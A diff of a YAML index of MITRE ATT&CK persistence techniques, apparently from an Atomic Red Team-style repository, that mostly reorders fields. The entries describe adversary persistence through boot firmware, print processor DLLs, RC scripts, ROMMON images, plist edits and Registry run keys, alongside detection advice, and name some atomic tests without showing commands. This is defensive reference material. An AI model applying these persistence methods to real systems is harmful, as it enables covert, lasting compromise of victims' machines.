-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542
-        url: https://attack.mitre.org/techniques/T1542
-      - source_name: Wikipedia Booting
-        url: https://en.wikipedia.org/wiki/Booting
-        description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.
-      - url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
-        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
-          health and make sure it's not already dying on you. Retrieved October 2,
-          2018.
-        source_name: ITWorld Hard Disk Health Dec 2014
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-10-22T16:35:54.740Z'
-      created: '2019-11-13T14:44:49.439Z'
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - Network
+      name: Pre-OS Boot
       x_mitre_data_sources:
       - 'Command: Command Execution'
       - 'Network Traffic: Network Connection Creation'
@@ -49122,38 +50594,76 @@ persistence:
       - 'Driver: Driver Metadata'
       - 'Process: OS API Execution'
       - 'Drive: Drive Modification'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
+      x_mitre_version: '1.1'
+      modified: '2020-10-22T16:35:54.740Z'
+      created: '2019-11-13T14:44:49.439Z'
+      id: attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e
       x_mitre_defense_bypassed:
       - Anti-virus
       - Host intrusion prevention systems
       - File monitoring
-      x_mitre_version: '1.1'
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - Network
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      description: |-
+        Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)
+
+        Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
       x_mitre_detection: |-
         Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching.
 
         Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014)
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542
+        external_id: T1542
+        source_name: mitre-attack
+      - url: https://en.wikipedia.org/wiki/Booting
+        description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019.
+        source_name: Wikipedia Booting
+      - source_name: ITWorld Hard Disk Health Dec 2014
+        description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's
+          health and make sure it's not already dying on you. Retrieved October 2,
+          2018.
+        url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
     atomic_tests: []
   T1547.012:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.012
-        url: https://attack.mitre.org/techniques/T1547/012
-      - source_name: Microsoft AddPrintProcessor May 2018
-        url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
-        description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved
-          October 5, 2020.
-      - source_name: ESET PipeMon May 2020
-        url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
-        description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti
-          Group. Retrieved August 24, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Print Processors
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Process: OS API Execution'
+      - 'Module: Module Load'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Driver: Driver Load'
+      x_mitre_version: '1.0'
+      modified: '2020-10-09T16:05:36.344Z'
+      created: '2020-10-05T13:24:49.780Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: "Adversaries may abuse print processors to run malicious DLLs during
         system boot for persistence and/or privilege escalation. Print processors
         are DLLs that are loaded by the print spooler service, spoolsv.exe, during
@@ -49172,37 +50682,46 @@ persistence:
         for them to run.(Citation: ESET PipeMon May 2020) The print spooler service
         runs under SYSTEM level permissions, therefore print processors installed
         by an adversary may run under elevated privileges."
-      id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-10-09T16:05:36.344Z'
-      created: '2020-10-05T13:24:49.780Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
+      x_mitre_contributors:
+      - Mathieu Tartare, ESET
       x_mitre_detection: |-
         Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver</code> or <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver</code> as they pertain to print processor installations.
 
         Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Process: OS API Execution'
-      - 'Module: Module Load'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Driver: Driver Load'
-      x_mitre_contributors:
-      - Mathieu Tartare, ESET
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/012
+        external_id: T1547.012
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
+        description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved
+          October 5, 2020.
+        source_name: Microsoft AddPrintProcessor May 2018
+      - url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
+        description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti
+          Group. Retrieved August 24, 2020.
+        source_name: ESET PipeMon May 2020
     atomic_tests: []
   T1037.004:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: RC Scripts
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-04-27T19:58:01.927Z'
+      created: '2020-01-15T16:25:22.260Z'
+      x_mitre_permissions_required:
+      - root
+      x_mitre_platforms:
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
       id: attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211
       description: |-
         Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
@@ -49212,68 +50731,50 @@ persistence:
         Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)
 
         Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
-      name: RC Scripts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.004
-        url: https://attack.mitre.org/techniques/T1037/004
-      - source_name: IranThreats Kittens Dec 2017
-        url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
-        description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten,
-          A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.
-      - description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted
-          Linux Systems. Retrieved June 24, 2019.
-        url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
-        source_name: Intezer HiddenWasp Map 2019
-      - source_name: intezer-kaiji-malware
-        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
-        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
-          turning to Golang. Retrieved December 17, 2020.'
-      - source_name: Apple Developer Doco Archive Launchd
-        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
-        description: Apple. (2016, September 13). Daemons and Services Programming
-          Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.
-      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
-        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
-          2017.
-        source_name: Startup Items
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      - source_name: Ubuntu Manpage systemd rc
-        url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
-        description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility
-          generator for starting /etc/rc.local and        /usr/sbin/halt.local during
-          boot and shutdown. Retrieved February 23, 2021.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-27T19:58:01.927Z'
-      created: '2020-01-15T16:25:22.260Z'
-      x_mitre_platforms:
-      - macOS
-      - Linux
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: "Monitor for unexpected changes to RC scripts in the <code>/etc/</code>
         directory. Monitor process execution resulting from RC scripts for unusual
         or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code>
         file creation. Although types of RC scripts vary for each Unix-like distribution,
         several execute <code>/etc/rc.local</code> if present. "
-      x_mitre_permissions_required:
-      - root
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '2.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/004
+        external_id: T1037.004
+        source_name: mitre-attack
+      - url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
+        description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten,
+          A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.
+        source_name: IranThreats Kittens Dec 2017
+      - source_name: Intezer HiddenWasp Map 2019
+        description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted
+          Linux Systems. Retrieved June 24, 2019.
+        url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
+      - url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
+        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
+          turning to Golang. Retrieved December 17, 2020.'
+        source_name: intezer-kaiji-malware
+      - url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
+        description: Apple. (2016, September 13). Daemons and Services Programming
+          Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.
+        source_name: Apple Developer Doco Archive Launchd
+      - source_name: Startup Items
+        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
+          2017.
+        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
+        description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility
+          generator for starting /etc/rc.local and        /usr/sbin/halt.local during
+          boot and shutdown. Retrieved February 23, 2021.
+        source_name: Ubuntu Manpage systemd rc
       identifier: T1037.004
     atomic_tests:
     - name: rc.common
@@ -49335,58 +50836,63 @@ persistence:
 '
   T1542.004:
     technique:
-      created: '2020-10-20T00:05:48.790Z'
-      modified: '2020-10-22T02:18:19.568Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
       type: attack-pattern
+      modified: '2020-10-22T02:18:19.568Z'
+      name: ROMMONkit
+      x_mitre_data_sources:
+      - 'Firmware: Firmware Modification'
+      x_mitre_version: '1.0'
+      created: '2020-10-20T00:05:48.790Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
       id: attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc
       description: |-
         Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)
 
 
         ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.
-      name: ROMMONkit
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1542.004
-        url: https://attack.mitre.org/techniques/T1542/004
-      - source_name: Cisco Synful Knock Evolution
-        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
-        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
-          IOS devices. Retrieved October 19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      x_mitre_platforms:
-      - Network
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
       x_mitre_detection: There are no documented means for defenders to validate the
         operation of the ROMMON outside of vendor support. If a network device is
         suspected of being compromised, contact the vendor to assist in further investigation.
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_data_sources:
-      - 'Firmware: Firmware Modification'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1542/004
+        external_id: T1542.004
+        source_name: mitre-attack
+      - url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
+        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
+          IOS devices. Retrieved October 19, 2020.
+        source_name: Cisco Synful Knock Evolution
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
     atomic_tests: []
   T1547.007:
     technique:
-      created: '2020-01-24T18:15:06.641Z'
-      modified: '2020-01-24T19:51:37.795Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
       type: attack-pattern
+      modified: '2020-01-24T19:51:37.795Z'
+      name: Re-opened Applications
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T18:15:06.641Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
       id: attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e
       description: "Adversaries may modify plist files to automatically run an application
         when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain
@@ -49398,30 +50904,25 @@ persistence:
         \n\nAn adversary can modify one of these files directly to include a link
         to their malicious executable to provide a persistence mechanism each time
         the user reboots their machine (Citation: Methods of Mac Malware Persistence)."
-      name: Re-opened Applications
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.007
-        url: https://attack.mitre.org/techniques/T1547/007
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      x_mitre_platforms:
-      - macOS
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'Command: Command Execution'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
       x_mitre_detection: Monitoring the specific plist files associated with reopening
         applications can indicate when an application has registered itself to be
         reopened.
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/007
+        external_id: T1547.007
+        source_name: mitre-attack
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
       identifier: T1547.007
     atomic_tests:
     - name: Re-Opened Applications
@@ -49468,14 +50969,34 @@ persistence:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1108
-        url: https://attack.mitre.org/techniques/T1108
-      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
-        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
-          Units. Retrieved July 18, 2016.
-        source_name: Mandiant APT1
+      type: attack-pattern
+      name: Redundant Access
+      x_mitre_version: '3.1'
+      modified: '2021-03-08T10:33:00.985Z'
+      created: '2017-05-31T21:31:18.867Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_deprecated: true
+      id: attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a
+      x_mitre_defense_bypassed:
+      - Network intrusion detection system
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: "**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136),
         [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External
         Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries
@@ -49493,23 +51014,8 @@ persistence:
         applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100)
         is one such way to maintain access to a network through an externally accessible
         Web server."
-      name: Redundant Access
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-03-08T10:33:00.985Z'
-      created: '2017-05-31T21:31:18.867Z'
-      x_mitre_deprecated: true
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '3.1'
-      x_mitre_defense_bypassed:
-      - Network intrusion detection system
-      - Anti-virus
+      x_mitre_contributors:
+      - Praetorian
       x_mitre_detection: |-
         Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.
 
@@ -49518,23 +51024,40 @@ persistence:
         If an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.
 
         For alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
-      x_mitre_contributors:
-      - Praetorian
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1108
+        external_id: T1108
+        source_name: mitre-attack
+      - source_name: Mandiant APT1
+        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
+          Units. Retrieved July 18, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
     atomic_tests: []
   T1547.001:
     technique:
+      type: attack-pattern
+      modified: '2021-01-06T18:36:29.226Z'
+      name: Registry Run Keys / Startup Folder
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      created: '2020-01-23T22:02:48.566Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279
       description: |-
         Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
@@ -49576,68 +51099,46 @@ persistence:
         By default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
 
         Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
-      name: Registry Run Keys / Startup Folder
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.001
-        url: https://attack.mitre.org/techniques/T1547/001
-      - external_id: CAPEC-270
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/270.html
-      - url: http://msdn.microsoft.com/en-us/library/aa376977
-        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
-          12, 2014.
-        source_name: Microsoft Run Key
-      - source_name: Microsoft Wow6432Node 2018
-        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
-        description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data
-          in the Registry. Retrieved August 3, 2020.
-      - source_name: Malwarebytes Wow6432Node 2016
-        url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
-        description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved
-          August 3, 2020.
-      - url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
-        description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry
-          Key. Retrieved June 29, 2018.
-        source_name: Microsoft RunOnceEx APR 2018
-      - url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
-        description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden
-          from Autoruns.exe. Retrieved June 29, 2018.
-        source_name: Oddvar Moe RunOnceEx Mar 2018
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-01-06T18:36:29.226Z'
-      created: '2020-01-23T22:02:48.566Z'
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Oddvar Moe, @oddvarmoe
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Modification'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
       x_mitre_detection: |-
         Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
 
         Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/001
+        external_id: T1547.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/270.html
+        external_id: CAPEC-270
+        source_name: capec
+      - source_name: Microsoft Run Key
+        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
+          12, 2014.
+        url: http://msdn.microsoft.com/en-us/library/aa376977
+      - url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry
+        description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data
+          in the Registry. Retrieved August 3, 2020.
+        source_name: Microsoft Wow6432Node 2018
+      - url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/
+        description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved
+          August 3, 2020.
+        source_name: Malwarebytes Wow6432Node 2016
+      - source_name: Microsoft RunOnceEx APR 2018
+        description: Microsoft. (2018, August 20). Description of the RunOnceEx Registry
+          Key. Retrieved June 29, 2018.
+        url: https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
+      - source_name: Oddvar Moe RunOnceEx Mar 2018
+        description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden
+          from Autoruns.exe. Retrieved June 29, 2018.
+        url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1547.001
     atomic_tests:
     - name: Reg Key Run
@@ -49826,34 +51327,27 @@ persistence:
         name: powershell
   T1505.001:
     technique:
-      external_references:
